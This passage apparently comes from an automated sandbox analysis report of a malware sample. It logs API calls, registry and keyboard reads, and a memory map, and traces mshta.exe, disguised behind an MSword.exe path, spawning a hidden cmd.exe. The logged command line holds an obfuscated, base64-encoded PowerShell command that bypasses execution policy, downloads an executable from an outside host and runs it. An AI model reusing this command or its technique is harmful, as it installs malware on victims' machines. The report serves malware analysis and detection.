Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = AcquireSRWLockExclusive, address_out = 0x778d29f1 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = AcquireSRWLockShared, address_out = 0x778d2560 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = ReleaseSRWLockExclusive, address_out = 0x778d29ab True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = ReleaseSRWLockShared, address_out = 0x778d25a9 True 1
Fn
Module Load module_name = OLEAUT32.dll, base_address = 0x76910000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 6, address_out = 0x76913e59 True 1
Fn
System Get Info True 2
Fn
Module Get Handle module_name = EXPLORER.EXE, base_address = 0x0 False 1
Fn
Module Get Handle module_name = IEXPLORE.EXE, base_address = 0x0 False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup, value_name = Print_Background False 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 7, address_out = 0x76914680 True 1
Fn
System Get Cursor x_out = 667, y_out = 493 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 8, address_out = 0x76913ed5 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
COM Create interface = 08C0E040-62D1-11D1-9326-0060B067B86E, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD True 1
Fn
Window Create window_name = 0, wndproc_parameter = 8082040 True 1
Fn
Window Set Attribute window_name = 0, index = 18446744073709551595, new_long = 8082040 False 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
Module Load module_name = OLEACC.DLL, base_address = 0x74f50000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleacc.dll, function = LresultFromObject, address_out = 0x74f52663 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Info True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME True 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x6ec20000 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x6ec20000 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Time type = Ticks, time = 79061 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Time type = Ticks, time = 79061 True 5
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 2, address_out = 0x76914642 True 1
Fn
Module Load module_name = oleaut32.dll, base_address = 0x76910000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = VariantClear, address_out = 0x76913eae True 1
Fn
System Get Time type = Ticks, time = 79061 True 1
Fn
System Get Time type = Ticks, time = 79076 True 1
Fn
COM Create interface = BB1A2AE1-A4F9-11CF-8F20-00805F2CD064, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Load module_name = ADVAPI32.dll, base_address = 0x763f0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = RegisterTraceGuidsA, address_out = 0x7790848f True 2
Fn
Module Get Filename module_name = IEXPLORE.EXE, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExA, address_out = 0x76404907 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script\Features False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\COM3 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExA, address_out = 0x764048ef True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\COM3, value_name = COM+Enabled, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x7640469d True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\ole32.dll, base_address = 0x76d30000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\ole32.dll, function = CoGetObjectContext, address_out = 0x76d7632b True 1
Fn
Module Load module_name = ole32.dll, base_address = 0x76d30000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\ole32.dll, function = CoCreateInstance, address_out = 0x76d79d0b True 1
Fn
COM Create interface = 00000146-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Environment Get Environment String name = JS_PROFILER False 1
Fn
COM Create interface = 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = Ticks, time = 79139 True 2
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 26, address_out = 0x7692e9b7 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 17, address_out = 0x7692e1b6 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT False 1
Fn
Module Get Address module_name = c:\windows\syswow64\oleaut32.dll, function = 25, address_out = 0x7692ea56 True 1
Fn
COM Create interface = BB1A2AE1-A4F9-11CF-8F20-00805F2CD064, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Info type = Operating System True 1
Fn
COM Create interface = 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = Ticks, time = 79201 True 1
Fn
COM Get Class ID cls_id = 72C24DD5-D70A-438B-8A42-98424B88AFB8, prog_id = wscrIPt.sHELl True 1
Fn
Module Get Address module_name = c:\windows\syswow64\ole32.dll, function = CoGetClassObject, address_out = 0x76d654ad True 1
Fn
COM Create interface = 00000001-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER True 1
Fn
System Get Info type = Operating System True 1
Fn
System Get Info type = Operating System False 1
Fn
System Get Time type = Ticks, time = 79310 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename module_name = IEXPLORE.EXE, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 261 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x75650000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\shell32.dll, function = ShellExecuteExW, address_out = 0x75671e46 True 1
Fn
Process Create process_name = C:\Windows\system32\cmd.exe, show_window = SW_HIDE True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Cursor x_out = 793, y_out = 284 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 793, y_out = 284 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 793, y_out = 284 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 793, y_out = 284 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144 True 1
Fn
System Get Cursor x_out = 793, y_out = 284 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 18446744073709551489 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 2
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 2
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 18446744073709551489 True 1
Fn
System Get Cursor x_out = 801, y_out = 498 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 18446744073709551489 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 18446744073709551489 True 1
Fn
Keyboard Get Info type = KB_LOCALE_ID, os_tid = 0, result_out = 67699721 True 2
Fn
System Get Cursor x_out = 801, y_out = 498 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 1 True 1
Fn
System Get Cursor x_out = 801, y_out = 498 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 1 True 1
Fn
Thread 0x9d8
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Thread 0x9e8
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Module Load module_name = mshtml.dll, base_address = 0x6f6a0000 True 1
Fn
System Get Time type = Ticks, time = 79030 True 1
Fn
System Get Time type = Ticks, time = 79045 True 2
Fn
System Get Time type = Ticks, time = 79420 True 1
Fn
Process #4: cmd.exe
(Host: 58, Network: 0)
+
Information Value
ID #4
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" "/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA "
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:45, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:50
OS Process Information
+
Information Value
PID 0xa28
Parent PID 0x9c0 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A2C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000080000 0x00080000 0x00080fff Private Memory Readable, Writable True True False
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True True False
private_0x00000000000d0000 0x000d0000 0x000d0fff Private Memory Readable, Writable True True False
private_0x0000000000110000 0x00110000 0x0020ffff Private Memory Readable, Writable True True False
locale.nls 0x00210000 0x00276fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000002e0000 0x002e0000 0x0035ffff Private Memory Readable, Writable True True False
private_0x0000000000430000 0x00430000 0x0052ffff Private Memory Readable, Writable True True False
private_0x0000000000660000 0x00660000 0x0066ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000670000 0x00670000 0x007f7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000800000 0x00800000 0x00980fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000990000 0x00990000 0x01d8ffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001d90000 0x01d90000 0x020d2fff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x020e0000 0x023aefff Memory Mapped File Readable False False False
  • Region Actions
cmd.exe 0x4a8b0000 0x4a8fbfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winbrand.dll 0x74dc0000 0x74dc6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Threads
Thread 0xa2c
(Host: 52, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-16 14:27:04 (UTC) True 1
Fn
System Get Time type = Ticks, time = 79591 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\cmd.exe, base_address = 0x4a8b0000 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x7654a84f True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Environment Get Environment String True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
